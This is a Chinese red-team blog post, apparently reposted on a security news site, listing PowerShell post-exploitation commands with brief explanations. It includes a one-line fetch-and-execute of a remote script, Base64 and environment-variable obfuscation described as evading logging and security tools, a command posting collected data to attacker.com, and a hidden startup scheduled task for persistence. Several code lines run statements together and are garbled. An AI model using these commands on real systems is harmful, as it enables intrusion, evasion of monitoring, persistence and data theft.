powershell命令-后渗透

admin 2025年3月21日00:36:22评论5 views字数 2230阅读7分26秒阅读模式
  • • 监控文件系统更改 (Monitoring File System Changes)
$watcher = New-Object System.IO.FileSystemWatcher; $watcher.Path = 'C:'$watcher.IncludeSubdirectories = $true$watcher.EnableRaisingEvents = $trueRegister-ObjectEvent$watcher'Created'-Action { Write-Host'File Created: '$Event.SourceEventArgs.FullPath }

描述: 设置文件系统监视器,跟踪并记录任何更改,例如文件创建。可以用于检测可疑活动或监控目标文件。

  • • 从 URL 下载并执行脚本 (Downloading and Executing Scripts from URL) - (变体形式)
iex (iwr'http://example.com/script.ps1').Content

描述: 此命令是一种常见的 远程代码执行 技术。它允许攻击者从远程服务器下载 PowerShell 脚本并在目标系统上直接在内存中执行,而无需将脚本保存到磁盘。

  • • 内存中脚本执行 (In-Memory Script Execution)
$code = [System.IO.File]::ReadAllText('C:tempscript.ps1'); Invoke-Expression$code
  • • 编码命令执行 (Encoded Command Execution)
$encodedCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Get-Process')); powershell.exe -EncodedCommand$encodedCmd

描述: 执行 Base64 编码的 PowerShell 命令,可以帮助绕过简单的命令行日志记录和分析工具。

  • • 环境变量混淆 (Environment Variable Obfuscation)
$env:PSVariable = 'Get-Process'Invoke-Expression$env:PSVariable

描述: 将命令存储在环境变量中,然后执行它,这可以帮助隐藏命令,使其不易被随意观察和某些安全工具检测到。

  • • 带外数据泄露 (Out-Of-Band Data Exfiltration)
$data = Get-Process | ConvertTo-JsonInvoke-RestMethod-Uri'http://attacker.com/data'-Method Post -Body$data

描述: 使用 Web 请求将数据泄露到目标网络之外,可以绕过传统的数据丢失防护机制。

  • • 使用 PowerShell 访问 WMI 以实现隐身 (Using PowerShell to Access WMI for Stealth)
$query = 'SELECT * FROM Win32_Process'Get-WmiObject-Query$query

描述: 利用 WMI(Windows Management Instrumentation)执行系统查询,这可能比直接的 PowerShell 命令更不显眼。

  • • 计划任务用于持久化 (Scheduled Task for Persistence)
$action = New-ScheduledTaskAction-Execute'Powershell.exe'-Argument'-NoProfile -WindowStyle Hidden -Command "YourCommand"'$trigger = New-ScheduledTaskTrigger-AtStartupRegister-ScheduledTask-Action$action-Trigger$trigger-TaskName'MyTask'-Description'MyDescription'

描述: 创建计划任务以执行 PowerShell 命令,确保持久性并在系统重启后仍然执行。

  • • 利用 PowerShell Add-Type 进行代码执行 (Utilizing PowerShell Add-Type for Code Execution)
Add-Type-TypeDefinition'using System; public class MyClass { public static void Run() { Console.WriteLine("Executed"); } }'; [MyClass]::Run()

描述: 使用 PowerShell 在自定义 .NET 类中定义和执行代码,可用于将恶意活动隐藏在看似良性的代码中。

如果你对网络安全、红队攻防技术充满热情,渴望学习更多实战技巧,例如渗透测试、自动化脚本编写、免杀技术等, 欢迎关注我的公众号 “红队工坊”。 在这里,我会持续分享更多原创高质量的技术文章,与你一同探索网络安全的奥秘,提升实战技能! 让我们一起在队攻防的道路上,不断精进,突破边界!

免责声明: 本文仅供安全技术研究与学习交流之用。 严禁将本文所提及的技术用于任何非法用途,包括但不限于未经授权的渗透测试、网络攻击、恶意代码传播等。

原文始发于微信公众号(红队工坊):powershell命令-后渗透

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月21日00:36:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   powershell命令-后渗透https://cn-sec.com/archives/3863284.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息